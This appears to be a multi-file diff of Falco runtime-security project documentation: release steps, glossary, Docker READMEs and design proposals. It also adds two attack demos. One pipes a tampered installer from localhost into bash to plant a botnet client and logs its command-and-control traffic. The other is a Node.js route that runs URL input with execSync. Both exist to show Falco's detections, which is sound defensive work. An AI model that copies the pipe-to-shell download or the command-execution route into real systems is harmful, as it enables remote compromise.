-    - In case `rn2md` emits error try to generate an GitHub OAuth access token and provide it with the `-t` flag
-- Add the latest changes on top the previous `CHANGELOG.md`
-- Submit a PR with the above modifications
-- Await PR approval
-- Close the completed milestone as soon as the PR is merged
-
-## Release
-
-Now assume `x.y.z` is the new version.
-
-### 1. Create a tag
-
-- Once the release PR has got merged, and the CI has done its job on the master, git tag the new release
-
-    ```
-    git pull
-    git checkout master
-    git tag x.y.z
-    git push origin x.y.z
-    ```
-
-> **N.B.**: do NOT use an annotated tag. For reference https://git-scm.com/book/en/v2/Git-Basics-Tagging
-
-- Wait for the CI to complete
-
-### 2. Update the GitHub release
-
-- [Draft a new release](https://github.com/falcosecurity/falco/releases/new)
-- Use `x.y.z` both as tag version and release title
-- Use the following template to fill the release description:
-    ```
-    <!-- Substitute x.y.z with the current release version -->

-
- - The notes from the Falco meetings can be [found here](https://hackmd.io/3qYPnZPUQLGKCzR14va_qg).
-    - Note: There may be other notes from working groups that can optionally be added as well as needed.
- - Add the entire content of the document to a new file in [github.com/falcosecurity/community/tree/master/meeting-notes](https://github.com/falcosecurity/community/tree/master/meeting-notes) as a new file labeled `release-x.y.z.md`
- - Open up a pull request with the new change.

-### Slogan
-
-> Cloud Native Runtime Security
-
-### What is Falco?
-
-Falco is a runtime security project originally created by Sysdig, Inc.
-Falco was contributed to the CNCF in October 2018.
-The CNCF now owns The Falco Project.
-
-### What is Runtime Security?
-
-Runtime security refers to an approach to preventing unwanted activity on a computer system. 
-With runtime security, an operator deploys **both** prevention tooling (access control, policy enforcement, etc) along side detection tooling (systems observability, anomaly detection, etc).
-Runtime security is the practice of using detection tooling to detect unwanted behavior, such that it can then be prevented using prevention techniques.
-Runtime security is a holistic approach to defense, and useful in scenarios where prevention tooling either was unaware of an exploit or attack vector, or when defective applications are ran in even the most secure environment.
-
-### What does Falco do?
-
-Falco consumes signals from the Linux kernel, and container management tools such as Docker and Kubernetes.
-Falco parses the signals and asserts them against security rules.
-If a rule has been violated, Falco triggers an alert. 
-
-### How does Falco work?
-
-Falco traces kernel events and reports information about the system calls being executed at runtime.
-Falco leverages the extended berkley packet filter (eBPF) which is a kernel feature implemented for dynamic crash-resilient and secure code execution in the kernel. 
-Falco enriches these kernel events with information about containers running on the system.
-Falco also can consume signals from other input streams such as the containerd socket, the Kubernetes API server and the Kubernetes audit log.
-At runtime, Falco will reason about these events and assert them against configured security rules.
-Based on the severity of a violation an alert is triggered.
-These alerts are configurable and extensible, for instance sending a notification or [plumbing through to other projects like Prometheus](https://github.com/falcosecurity/falco-exporter). 
-
-### Benefits of using Falco
-
- - **Strengthen Security** Create security rules driven by a context-rich and flexible engine to define unexpected application behavior.
- - **Reduce Risk** Immediately respond to policy violation alerts by plugging Falco into your current security response workflows and processes.
- - **Leverage up-to-date Rules** Alert using community-sourced detections of malicious activity and CVE exploits.
-    
-### Falco and securing Kubernetes
-
-Securing Kubernetes requires putting controls in place to detect unexpected behavior that could be malicious or harmful to a cluster or application(s). 
-
-Examples of malicious behavior include: 
-
- - Exploits of unpatched and new vulnerabilities in applications or Kubernetes itself. 
- - Insecure configurations in applications or Kubernetes itself. 
- - Leaked or weak credentials or secret material.
- - Insider threats from adjacent applications running at the same layer. 
-
-Falco is capable of [consuming the Kubernetes audit logs](https://kubernetes.io/docs/tasks/debug-application-cluster/falco/#use-falco-to-collect-audit-events).
-By adding Kubernetes application context, and Kubernetes audit logs teams can understand who did what.
-                                 
-### Writing about Falco
-
-##### Yes
-
-Notice the capitalization of the following terms.
-
- - The Falco Project
- - Falco
-
-##### No
-
- - falco
- - the falco project
- - the Falco project
-
-### Encouraged Phrasing
-
-Below are phrases that the project has reviewed, and found to be effective ways of messaging Falco's value add.
-Even when processes are in place for vulnerability scanning and implementing pod security and network policies, not every risk will be addressed. You still need mechanisms to confirm these security barriers are effective, help configure them, and provide with a last line of defense when they fail.
-
-##### Falco as a factory
-
-This term refers to the concept that Falco is a stateless processing engine. A large amount of data comes into the engine, but meticulously crafted security alerts come out.
-
-##### The engine that powers...
-
-Falco ultimately is a security engine. It reasons about signals coming from a system at runtime, and can alert if an anomaly is detected.
-
-##### Anomaly detection
-
-This refers to an event that occurs with something unsual, concerning, or odd occurs.
-We can associate anomalies with unwanted behavior, and alert in their presence.
-
-##### Detection tooling
-
-Falco does not prevent unwanted behavior.
-Falco however alerts when unusual behavior occurs.
-This is commonly referred to as **detection** or **forensics**.
-
-

-
-# Glossary 
-
-#### Probe
-
-Used to describe the `.o` object that would be dynamically loaded into the kernel as a secure and stable (e)BPF probe. 
-This is one option used to pass kernel events up to userspace for Falco to consume.
-Sometimes this word is incorrectly used to refer to a `module`.
-
-#### Module
-
-Used to describe the `.ko` object that would be loaded into the kernel as a potentially risky kernel module.
-This is one option used to pass kernel events up to userspace for Falco to consume.
-Sometimes this word is incorrectly used to refer to a `probe`.
-
-#### Driver 
-
-The global term for the software that sends events from the kernel. Such as the eBPF `probe` or the `kernel module`.
-
-#### Falco
-
-The name of the project, and also the name of [the main engine](https://github.com/falcosecurity/falco) that the rest of the project is built on.
-
-#### Sysdig, Inc
-
-The name of the company that originally created The Falco Project, and later donated to the CNCF.
-
-#### sysdig 
-
-A [CLI tool](https://github.com/draios/sysdig) used to evaluate kernel system events at runtime.

-#[=======================================================================[.rst:
-Catch
------
-
-This module defines a function to help use the Catch test framework.
-
-The :command:`catch_discover_tests` discovers tests by asking the compiled test
-executable to enumerate its tests.  This does not require CMake to be re-run
-when tests change.  However, it may not work in a cross-compiling environment,
-and setting test properties is less convenient.
-
-This command is intended to replace use of :command:`add_test` to register
-tests, and will create a separate CTest test for each Catch test case.  Note
-that this is in some cases less efficient, as common set-up and tear-down logic
-cannot be shared by multiple test cases executing in the same instance.
-However, it provides more fine-grained pass/fail information to CTest, which is
-usually considered as more beneficial.  By default, the CTest test name is the
-same as the Catch name; see also ``TEST_PREFIX`` and ``TEST_SUFFIX``.
-
-.. command:: catch_discover_tests
-
-  Automatically add tests with CTest by querying the compiled test executable
-  for available tests::
-
-    catch_discover_tests(target
-                         [TEST_SPEC arg1...]
-                         [EXTRA_ARGS arg1...]
-                         [WORKING_DIRECTORY dir]
-                         [TEST_PREFIX prefix]
-                         [TEST_SUFFIX suffix]
-                         [PROPERTIES name1 value1...]
-                         [TEST_LIST var]
-    )
-
-  ``catch_discover_tests`` sets up a post-build command on the test executable
-  that generates the list of tests by parsing the output from running the test
-  with the ``--list-test-names-only`` argument.  This ensures that the full
-  list of tests is obtained.  Since test discovery occurs at build time, it is
-  not necessary to re-run CMake when the list of tests changes.
-  However, it requires that :prop_tgt:`CROSSCOMPILING_EMULATOR` is properly set
-  in order to function in a cross-compiling environment.
-
-  Additionally, setting properties on tests is somewhat less convenient, since
-  the tests are not available at CMake time.  Additional test properties may be
-  assigned to the set of tests as a whole using the ``PROPERTIES`` option.  If
-  more fine-grained test control is needed, custom content may be provided
-  through an external CTest script using the :prop_dir:`TEST_INCLUDE_FILES`
-  directory property.  The set of discovered tests is made accessible to such a
-  script via the ``<target>_TESTS`` variable.
-
-  The options are:
-
-  ``target``
-    Specifies the Catch executable, which must be a known CMake executable
-    target.  CMake will substitute the location of the built executable when
-    running the test.
-
-  ``TEST_SPEC arg1...``
-    Specifies test cases, wildcarded test cases, tags and tag expressions to
-    pass to the Catch executable with the ``--list-test-names-only`` argument.
-
-  ``EXTRA_ARGS arg1...``
-    Any extra arguments to pass on the command line to each test case.
-
-  ``WORKING_DIRECTORY dir``
-    Specifies the directory in which to run the discovered test cases.  If this
-    option is not provided, the current binary directory is used.
-
-  ``TEST_PREFIX prefix``
-    Specifies a ``prefix`` to be prepended to the name of each discovered test
-    case.  This can be useful when the same test executable is being used in
-    multiple calls to ``catch_discover_tests()`` but with different
-    ``TEST_SPEC`` or ``EXTRA_ARGS``.
-
-  ``TEST_SUFFIX suffix``
-    Similar to ``TEST_PREFIX`` except the ``suffix`` is appended to the name of
-    every discovered test case.  Both ``TEST_PREFIX`` and ``TEST_SUFFIX`` may
-    be specified.
-
-  ``PROPERTIES name1 value1...``
-    Specifies additional properties to be set on all tests discovered by this
-    invocation of ``catch_discover_tests``.
-
-  ``TEST_LIST var``
-    Make the list of tests available in the variable ``var``, rather than the
-    default ``<target>_TESTS``.  This can be useful when the same test
-    executable is being used in multiple calls to ``catch_discover_tests()``.
-    Note that this variable is only available in CTest.

-# Falco Dockerfiles
-
-This directory contains various ways to package Falco as a container and related tools.
-
-## Currently Supported Images
-
-| Name | Directory | Description |
-|---|---|---|
-| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/falco | Falco (DEB built from git tag or from the master) with all the building toolchain. |
-| [falcosecurity/falco-driver-loader:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:master](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader) | docker/driver-loader | `falco-driver-loader` as entrypoint with the building toolchain. |
-| [falcosecurity/falco-no-driver:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver), [falcosecurity/falco-no-driver:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver),[falcosecurity/falco-no-driver:master](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver) | docker/no-driver | Falco (TGZ built from git tag or from the master) without the building toolchain. |
-| [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/getting-started/source/) for more details on building from source. Used to build Falco (CI). |
-| [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). |
-| _to not be published_ | docker/local | Built on-the-fly and used by falco-tester. |
-
-> Note: `falco-builder`, `falco-tester` (and the `docker/local` image that it's built on the fly) are not integrated into the release process because they are development and CI tools that need to be manually pushed only when updated.

-Hello, this is the Falco builder container.
-
-How to use.
-
-    The default commands for the Falco builder image reports usage and environment info.
-    * docker run falcosecurity/falco-builder
-    * docker run falcosecurity/falco-builder usage
-
-    It supports bash.
-    * docker run -ti falcosecurity/falco-builder bash
-
-    To build Falco it needs:
-    - a bind-mount on the source directory (ie., the directory containing the Falco source as sibling)
-
-    Optionally, you can also bind-mount the build directory.
-    So, you can execute it from the Falco root directory as follows.
-
-    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder cmake
-    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder [<cmake-target-x>, ..., <cmake-target-y>]
-
-    Eg.,
-    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder tests
-    * docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder install
-
-How to build.
-
-    * cd docker/builder && DOCKER_BUILDKIT=1 docker build -t falcosecurity/falco-builder .
-
-    In case you want to customise the builder at build time the following build arguments are provided:
-    - BUILD_TYPE                whether you want a "release" or "debug" build (defaults to "release").
-    - BUILD_DRIVER              whether to build the driver or not (defaults to "OFF")
-    - BUILD_BPF                 whether to build the BPF driver or not (defaults to "OFF")
-    - BUILD_WARNINGS_AS_ERRORS  whether to intend warnings as errors or not (defaults to "ON")
-    - MAKE_JOBS                 the number of jobs to use during make (defaults to "4")
-    - FALCO_VERSION             the version to label the build (built from git index in case it is missing)
-
-    It is possible to change these at runtime (in the container) since environment variables with the same names are provided, too.
-
-Environment.
-
-    * ${gccversion}
-    * cplusplus ${cppversion}
-    * ${cmakeversion}
-    * ${clangversion}

+# Example K8s Services for Falco
+
+The yaml file in this directory installs the following:
+ - Open Source Falco, as a DaemonSet. Falco is configured to communicate with the K8s API server via its service account, and changes its output to be K8s-friendly. It also sends to a slack webhook for the `#demo-falco-alerts` channel on our [public slack](https://sysdig.slack.com/messages/demo-falco-alerts/).
+ - The [Falco Event Generator](https://github.com/draios/falco/wiki/Generating-Sample-Events), as a deployment that ensures it runs on exactly 1 node.

+#Demo of falco with man-in-the-middle attacks on installation scripts
+
+For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
+
+## Demo architecture
+
+### Initial setup
+
+Make sure no prior `botnet_client.py` processes are lying around.
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
+* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
+* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
+* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
+* falco: will detect the activities of botnet_client.py.
+
+### Download `install-software.sh`, see botnet client running
+
+Run the following to fetch and execute the installation script,
+which also installs the botnet client:
+
+```
+$ curl http://localhost/install-software.sh | bash
+```
+
+You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
+
+Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
+
+```
+$ ps auxww  | grep python
+...
+root   19983  0.1  0.4  33992  8832 pts/1    S    13:34   0:00 python ./botnet_client.py
+
+$ telnet localhost 1234
+Trying ::1...
+Trying 127.0.0.1...
+Connected to localhost.
+Escape character is '^]'.
+```
+
+You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
+
+```
+attacker_botnet_master | Trying to contact compromised machine...
+attacker_botnet_master | Waiting for botnet command and control commands...
+attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
+attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
+```
+
+At this point, kill the botnet_client.py process to clean things up.
+
+### Run installation script again using `fbash`, note falco warnings.
+
+If you run the installation script again:
+
+```
+curl http://localhost/install-software.sh | ./fbash
+```
+
+In the docker-compose output, you'll see the following falco warnings:
+
+```
+falco                  | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)

+#Demo of falco with bash exec via poorly designed REST API.
+
+## Introduction
+
+This example shows how a server could have a poorly designed API that
+allowed a client to execute arbitrary programs on the server, and how
+that behavior can be detected using Sysdig Falco.
+
+`server.js` in this directory defines the server. The poorly designed
+API is this route handler:
+
+```javascript
+router.get('/exec/:cmd', function(req, res) {
+    var output = child_process.execSync(req.params.cmd);
+    res.send(output);
+});
+
+app.use('/api', router);
+```
+
+It blindly takes the url portion after `/api/exec/<cmd>` and tries to
+execute it. A horrible design choice(!), but allows us to easily show
+Sysdig falco's capabilities.
+
+## Demo architecture
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+
+* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
+* falco: will detect when you execute a shell via the express server.
+
+### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
+
+Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
+
+```
+$ curl http://localhost:8080/api/exec/ls
+
+demo.yml
+node_modules
+package.json
+README.md
+server.js
+```
+
+```
+$ curl http://localhost:8080/api/exec/pwd
+
+.../examples/nodejs-bad-rest-api
+```
+
+### Try to run bash via `/api/exec/bash`, falco sends alert.
+
+If you try to run bash via `/api/exec/bash`, falco will generate an alert:
+
+```
+falco          | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )

-## Summary
-
-We intend to build a simple gRPC server and SDKs - eg., [falco#785](https://github.com/falcosecurity/falco/issues/785) - to allow users receive and consume the alerts regarding the violated rules.
-
-## Motivation
-
-The most valuable information that Falco can give to its users are the alerts.
-
-An alert is an "output" when it goes over a transport, and it is emitted by Falco every time a rule is matched.
-
-At the current moment, however, Falco can deliver alerts in a very basic way, for example by dumping them to standard output.
-
-For this reason, many Falco users asked, with issues - eg., [falco#528](https://github.com/falcosecurity/falco/issues/528) - or in the [slack channel](https://slack.k8s.io) if we can find a more consumable way to implement Falco outputs in an extensible way.
-
-The motivation behind this proposal is to design a new output implementation that can meet our user's needs.
-
-### Goals
-
-- To decouple the outputs from the Falco code base
-- To design and implement an additional output mode by mean of a gRPC **streaming** server
-- To keep it as simple as possible
-- To have a simple contract interface
-- To only have the responsibility to route Falco output requests and responses
-- To continue supporting the old output formats by implementing their same interface
-- To be secure by default (**mutual TLS** authentication)
-- To be **asynchronous** and **non-blocking**
-- To provide a connection over unix socket (no authentication)
-- To implement a Go client
-- To implement a Rust client
-- To implement a Python client
-
-### Non-Goals
-
-- To substitute existing outputs (stdout, syslog, etc.)
-- To support different queing systems than the default (round-robin) one
-- To support queuing mechanisms for message retransmission
-  - Users can have a local gRPC relay server along with Falco that multiplexes connections and handles retires and backoff
-- To change the output format
-- To make the message context (text, fields, etc.) and format configurable
-  - Users can already override rules changing their output messages
-- To act as an orchestrator for Falco instances
-
-## Proposal
-
-### Use cases
-
-- Receive Falco events with a well-defined contract over wire
-- Integrate Falco events with existing alerting/paging mechanisms
-- Integrate Falco events with existing monitoring infrastructures/tools
-- Falco outputs SDKs for different languages
-
-### Diagrams
-
-The following sequence diagram illustrates the flow happening for a single rule being matched and the consequent alert through the gRPC output client.
-
-![Single alert sequence diagram](20190826-grpc-output-single-alert-sequence.png)
-
-### Design Details
-
-Here is the proto3 contracts definitions for the client and the server SDK.

-```proto3
-syntax = "proto3";
-
-import "google/protobuf/timestamp.proto";
-import "schema.proto";

-
-## Summary
-
-We want to make it easier for K8s Cluster Operators to Author Pod Security Policies by providing a way to read a PSP, convert it to a set of Falco rules, and then run Falco with those rules.
-
-## Motivation
-
-PSPs provide a rich powerful framework to restrict the behavior of pods and apply consistent security policies across a cluster, but it’s difficult to know the gap between what you want your security policy to be and what your cluster is actually doing. Additionally, since PSPs enforce once applied, they might prevent pods from running, and the process of tuning a PSP live on a cluster can be disruptive and painful.
-
-That's where Falco comes in. We want to make it possible for Falco to perform a "dry run" evaluation of a PSP, translating it to Falco rules that observe the behaviour of deployed pods and sending alerts for violations, *without* blocking. This helps accelerate the authoring cycle, providing a complete authoring framework for PSPs without deploying straight to the cluster.
-
-### Goals
-
-Transparently read a candidate PSP into an equivalent set of Falco rules that can look for the conditions in the PSP.
-
-The PSP is converted into a set of Falco rules which can be either saved as a file for later use/inspection, or loaded directly so they they can monitor system calls and k8s audit activity.
-
-### Non-Goals
-
-Falco will not automatically read PSPs from a cluster, will not install PSPs, and will not provide guidance on the parts of your infrastructure that are already covered by PSPs. This feature only helps with the testing part of a candidate PSP. For coming up with an initial PSP, you can use tools like [https://github.com/sysdiglabs/kube-psp-advisor](Kube PSP Advisor).
-
-The use case here is for cluster operators who want to author PSPs, but don't want to just put it in a cluster and see what breaks. For example, if your PSP sets privileged to false, but it turns out some of your pods are running privileged, they won't be able to start.
-
-With this feature, they could iterate without enforcement until they have a PSP that matches the actual behaviour of their cluster. Some of that will come from changing the PSP, some of that will come from changing the behaviour of the cluster. The important part is that it's not mistakenly preventing things from running while you're figuring it out.
-
-## Proposal
-
-### Use cases
-
-You'll be able to run falco with a `--psp` argument that provides a single PSP yaml file. Falco will automatically convert the PSP into an equivalent set of Falco rules, load the rules, and then run with the loaded rules. You can optionally provide a `--psp_save=<path>` command line option to save the converted rules to a file.
-
-### Diagrams
-
-No diagrams yet.
-
-### Design Details
-
-* We'll use [inja](https://github.com/pantor/inja) as the templating engine.
-
-* For the most part, we can rely on the existing framework of rules, filter expressions, and output expressions that already exist in Falco. One significant change will be that filter fields can extract more than one "value" per event, and we'll need to define new operators to perform set comparisions betweeen values in an event and values in the comparison right-hand-side.
-
-* This will rely heavily on existing support for [K8s Audit Events](https://falco.org/docs/event-sources/kubernetes-audit/) in Falco.

-# Falco APIs
-
-## Summary
-
-This is a proposal to better structure the Falco API.
-
-The Falco API is a set of contracts describing how users can interacts with Falco.
-
-By definiing a set of interfaces the Falco Authors intend to decouple Falco from other softwares and data (eg., from the input sources) and, at the same time, make it more extensible.
-
-Thus, this document intent is to propose a list of services that contistute the Falco API (targeting the first stable version of Falco, v1.0.0).
-
-## Motivation
-
-We want to enable users to use thirdy-party clients to interface with Falco outputs, inputs, rules, and configurations.
-
-Such ability would enable the community to create a whole set of OSS tools, built on top of Falco.
-
-Some examples, already in place, are:
-
-- [falcoctl](https://github.com/falcosecurity/falcoctl)
-- [falco-exporter](https://github.com/falcosecurity/falco-exporter)
-
-## Goals
-
-- To design and implement an API to make Falco more configurable
-- To design and implement an API to make Falco more consumable
-- To have an API so that users are able to interface with Falco
-- To design a set of simple contract interfaces
-- To have an API which is secure by default
-- To implement this API in C++ using gRPC as a first implementation
-
-## Non-Goals
-
-- To replace the existing inputs: the **inputs** will be only for new source events users may want to add, initially
-- To document the API: to be approached as separate task
-- To create/update the API client: to be approached as a separate task
-
-## Proposal
-
-### Use cases
-
-- Receive Falco events with a well-defined contract --> **outputs**
-- Receive Falco drops with a well-defined contract --> **drops**
-- Receive current Falco version and related meta information (commit hash, built type, etc.) --> **version**
-- Configure Falco via API (CRUD) -> **configs**
-- Inject and/or modify Falco rules via API (CRUD) --> **rules**
-- Send input events to Falco --> **inputs**
-
-### Unary services
-
-1. Version
-2. Rules
-3. Configs
-
-### Streaming (server or client) services
-
-1. Outputs
-2. Drops
-
-### Bidirectional streaming services
-
-1. Inputs
-
-### Architecture
-
-We propose to have:
-- 1 gRPC server
-- 1 service grouping services
-
-This translates in having the following set of `proto` files.
-
-- a `.proto` containing the **request** and **response messages** for each service - eg., `version.proto`, `outputs.proto` etc.
-
-    For example,
-    ```proto3
-    # version.proto
-    message request
-    {
-      ...
-    }
-
-    // The `response` message contains the version of Falco.
-    // It provides the whole version as a string and also
-    // its parts as per semver 2.0 specification (https://semver.org).
-    message response
-    {
-    string version = 1;
-      uint32 major = 2;
-      uint32 minor = 3;
-      uint32 patch = 4;
-      string prerelease = 5;
-      string build = 6;
-    }
-    ```
-
-- one or more `.proto` containing the commond models - ie., the already existing `schema.proto` containing source enum, etc.
-
-    ```proto3
-    # schema.proto
-    enum priority {
-      ..
-    }
-    enum source {
-    option allow_alias = true;
-      SYSCALL = 0;
-      syscall = 0;
-      Syscall = 0;
-      K8S_AUDIT = 1;
-      k8s_audit = 1;
-      K8s_audit = 1;
-      K8S_audit = 1;
-    }
-    ```
-
-- a `.proto` for service definitions
-
-    For example,
-    ```proto3
-    service api {
-      rpc version(request) returns (response);
-      rpc outputs(request) returns (stream response);
-      rpc drops(request) returns (stream response);
-      ...
-    }
-    ```

-## Summary
-
-Propose some basic naming conventions when new lists, macros, rules are introduced. 
-
-## Motivation
-
-We want to help people from the community to contribute to falco rules. It will help improving the security content provided by Falco out of the box. Since people have different preference of naming things, it's necessary to set forth some basic naming convention for people to follow when creating new rules, macros and lists.
-
-### Goals
-
-People will have to follow the naming conventions rules when introducing new Falco rules, macros and lists.
-
-### Non-Goals
-
-There will be no intention to cover Falco rule syntax in this proposal.

-#### Rule
-- Rule Name: Use phrases with capitalizing every word except preposition (e.g. `Search Private Keys or Passwords`)
-- Description: Use sentence always starting with "Detect" and ending with period. (e.g. `Detect grep private keys or passwords activity.`)
-- Output: Use sentence. Must at least include output fields (user=%user.name command=%proc.cmdline container_id=%container.id)
-- Tags: Use at least one of the following: [network, process, filesystem]. Also encourage to use mitre_* tags if applicable

-# Falco Project Evolution
-
-We will modeling a loosely defined adoption of the Kubernetes and CNCF incubator efforts.
-
-The criteria will remain loose, and tighten as needed at the discretion of the Falco open source community.
-
-### contrib
-
-"_Sandbox level_"
-
-This new [contrib](https://github.com/falcosecurity/contrib) repository will be equivalent to the `Falco Sandbox` and serves as a place for the community to `test-drive` ideas/projects/code.
-
-### repository
-
-"_Incubating level_" projects such as [falco-exporter](https://github.com/falco-exporter) can be promoted from `contrib` to their own repository.
-
-This is done as needed, and can best be measured by the need to cut a release and use the GitHub release features. Again, this is at the discretion of the Falco open source community.
-
-### official support
-
-As the need for a project grows, it can ultimately achieve the highest and most coveted status within The Falco Project. "_Offical support_."
-
-The artifacts listed above are part of the official Falco release process. These artifact will be refined and amended by the [Part 2](./20200506-artifacts-scope-part-2.md).
-
-# Action
-
-The *Part 1* is mainly intended as a cleanup process.
-For each item not listed above, ask if it needs to be moved or deleted.
-After the cleanup process, all items will match the *Part 1* of this proposal.
-
-
-### Action Items
-
-Here are SOME of the items that would need to be done, for example:
-
- - Remove `minimal` from `falco` repository (it's almost similar to `slim`, we don't need two images for the same purpose)
- - Rename `driverloader` image to `falco-driver-loader` (since it has not been release yet, we can rename it without breaking things)
- - Move everything else to contrib
-     - Move [/integrations](https://github.com/falcosecurity/falco/tree/master/integrations) to contrib
-     - Move [/examples](https://github.com/falcosecurity/falco/tree/master/examples) to contrib
-     - Old documentation
-
-### Documentation
-
-Update documentation in [falco-website#184](https://github.com/falcosecurity/falco-website/pull/184).
-
-### Adjusting projects
-
- - YAML manifest documentation to be moved to `contrib`
- - Minkube, Kind, Puppet, Ansible, etc documentation to be moved to `contrib`

-## Official support
-
-These artifacts will be amended to the ones listed above, and will become a part of the official Falco release process.
-

-For each item, ask if this already exists. If so we need to rename, and update it to match this new convention. If does not exist, add it.
-
-    
-### Action Items
-
-Here are SOME of the items that would need to be done for example:
-

-    - Create `usage` commands for every docker image
-    
-### Documentation
-
-Update documentation in [falco-website](https://github.com/falcosecurity/falco-website/)
-
-#### Note:
-
-This could break the current helm chart, and maybe other dependencies.
-
-We owe existing users of the Falco project some courtesy if we will break their usage of how Falco has traditionally been advertised. 
-
-Some things we owe the community.
-
- - Announcement on Falco mailing list
- - Issues/Pull Request to Helm chart
-     - Note: At the very least open an issue and document how to make the existing helm chart work with the new changes if needed. [Nova Volunteers]
-     - We should at least open a PR and update the helm chart with these new expectations if needed. [Nova Volunteers]
-     - We should revisit the helm chart OWNERS

-# Falco Artifacts Storage
-
-This document reflects the way we store the Falco artifacts.
-
-## Terms & Definitions
-
-- [Falco artifacts](./20200506-artifacts-scope-part-1.md)
-- Bintray: artifacts distribution platform
-
-## Packages
-
-The Falco packages are **automatically** built and sent to [bintray](https://bintray.com/falcosecurity) in the following cases:
-
-- a pull request gets merged into the master branch (**Falco development releases**)
-- a new Falco release (git tag) happens on the master branch (**Falco stable releases**)
-
-The only prerequisite is that the specific Falco source code builds successfully and that the tests pass.
-
-As per [Falco Artifacts Scope (#1)](./20200506-artifacts-scope-part-1.md) proposal we provide three kind of Falco packages:
-
-- DEB
-- RPM
-- Tarball
-
-Thus, we have three repositories for the Falco stable releases:
-
-- https://bintray.com/falcosecurity/deb
-- https://bintray.com/falcosecurity/rpm
-- https://bintray.com/falcosecurity/bin
-
-And three repositories for the Falco development releases:
-
-- https://bintray.com/falcosecurity/deb-dev
-- https://bintray.com/falcosecurity/rpm-dev
-- https://bintray.com/falcosecurity/bin-dev
-
-## Drivers
-
-The process of publishing a set of prebuilt Falco drivers is implemented by the **Drivers Build Grid (DBG)** in the [test-infra](https://github.com/falcosecurity/test-infra/tree/master/driverkit) repository (`driverkit` directory).
-
-This process is driven by the configuration files (YAML) present in the `driverkit/config` directory in the [test-infra](https://github.com/falcosecurity/test-infra/tree/master/driverkit) repository.
-
-Each of these files represents a prebuilt driver (eventually two: kernel module and eBPF probe, when possible) that will be published on [bintray](https://bintray.com/falcosecurity) if it builds correctly.
-
-Every time the `driverkit/config` directory on the master branch has some changes from the previous commit the CI system, which you can find defined in the [.circleci/config.yml](https://github.com/falcosecurity/test-infra/blob/master/.circleci/config.yml) file, takes care of building and publishing all the drivers.
-
-The driver versions we ship prebuilt drivers for are:
-
-- the driver version associated with the last Falco stable version ([see here](https://github.com/falcosecurity/falco/blob/c4b7f17271d1a4ca533b2e672ecaaea5289ccdc5/cmake/modules/sysdig.cmake#L29))
-- the driver version associated with the penultimate Falco stable version
-
-The prebuilt drivers get published into [this](https://bintray.com/falcosecurity/driver) generic artifacts repository.
-
-You can also visualize the full list of prebuilt drivers by driver version visiting this [URL](https://dl.bintray.com/falcosecurity/driver).
-
-### Notice
-
-The generation of new prebuilt drivers takes usually place with a frequency of 1-2 weeks, on a **best-effort** basis.
-
-Thus, it can happen the list of available prebuilt drivers does not yet contain the driver version currently on Falco master.
-
-Nevertheless, this process is an open, auditable, and transparent one.
-
-So, by sending a pull-request towards [test-infra](https://github.com/falcosecurity/test-infra) repository containing the configuration YAML files you can help the Falco community stay on track.

-## Container images
-
-As per Falco packages, also the Falco official container images are **automatically** published to the [dockerhub](https://hub.docker.com/r/falcosecurity/falco).
-
-These images are built and published in two cases:
-
-- a pull request gets merged into the master branch (**Falco development releases**)
-- a new Falco release (git tag) happens (**Falco stable releases**)
-
-For a detailed explanation of the container images we build and ship look at the following [documentation](https://github.com/falcosecurity/falco/blob/master/docker/README.md).

-# Proposal for First Class Structured Exceptions in Falco Rules
-
-## Summary
-
-## Motivation
-
-Almost all Falco Rules have cases where the behavior detected by the
-rule should be allowed. For example, The rule Write Below Binary Dir
-has exceptions for specific programs that are known to write below
-these directories as a part of software installation/management:
-
-```yaml
-- rule: Write below binary dir
-  desc: an attempt to write to any file below a set of binary directories
-  condition: >
-    bin_dir and evt.dir = < and open_write
-    and not package_mgmt_procs
-    and not exe_running_docker_save
-    and not python_running_get_pip
-    and not python_running_ms_oms
